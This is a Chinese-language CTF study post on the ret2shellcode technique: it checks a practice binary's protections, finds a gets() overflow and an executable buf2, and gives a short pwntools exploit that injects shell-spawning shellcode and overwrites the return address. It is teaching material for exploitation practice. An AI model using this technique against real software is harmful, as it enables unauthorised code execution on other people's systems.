pwn ret2shellcode

写在前面,记录一些小知识和一些文章

对于checksec后几个参数的具体研究: checksec及其包含的保护机制

(原博客图已经挂了,只能用简书的了)

pwntools介绍(刚开始看不懂英文文档可以看这个): pwntools

pwntools使用简介

文件执行时权限不够使用命令为: chmod +x start.sh

当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode。此小片段就是gadgets

正文开始

这次的ret2shellcode与ret2text的区别在于程序没有调用system函数,也就是没有后门,需要自己写shellcode,让程序执行这段shellcode,拿到shell。

接下来还是按照流程走一遍。

pwn ret2shellcode_第1张图片
在这里插入图片描述
checksec后发现与上一题不同的是NX项为 : NX disabled

执行程序看看有什么功能

pwn ret2shellcode_第2张图片仍然是一个单入口函数,只有一个输入字符串的功能,放进ida里看一看。
pwn ret2shellcode_第3张图片
可以看到是用gets函数读取输入的字符串,没有限制,存在漏洞可以利用,看一下程序有什么功能。

pwn ret2shellcode_第4张图片并没有system功能,同时注意到

strncpy(buf2, &s, 0x64u);

这句话的意思是将字符串s复制到buf2,那么buf2是什么呢,看一下(在反编译代码处双击buf2就会看到buf2的地址)

pwn ret2shellcode_第5张图片由于程序没有开NX保护,所以代码在堆,栈上可以执行,那么我们的思路就有了:用gets读入的字符串s覆盖返回地址到buf2的地址,字符串s为我们写好的shellcode,通过strcpy复制到buf2处。

exp如下:

from pwn import * 

p = process('./ret2shellcode') 

context.binary = './ret2shellcode' #因为要使用asm模块,所以要声明好
#接下来这句有点复杂,用到了ljust方法,意思是asm编辑过的shellcode左对齐,总长度为112字节,剩余的地方用a补齐,这样就能保证后面的返回地址覆盖正确
p.sendline(asm(shellcraft.sh()).ljust(112,'a') + p32(0x804A080))

log.info(asm(shellcraft.sh())) #这两句是测试用的,可以无视
log.info(shellcraft.sh()) #新学的log.info 格式看起来比较整齐

p.interactive()

这样我们就拿到了shell,下一题见。

你可能感兴趣的:(pwn ret2shellcode)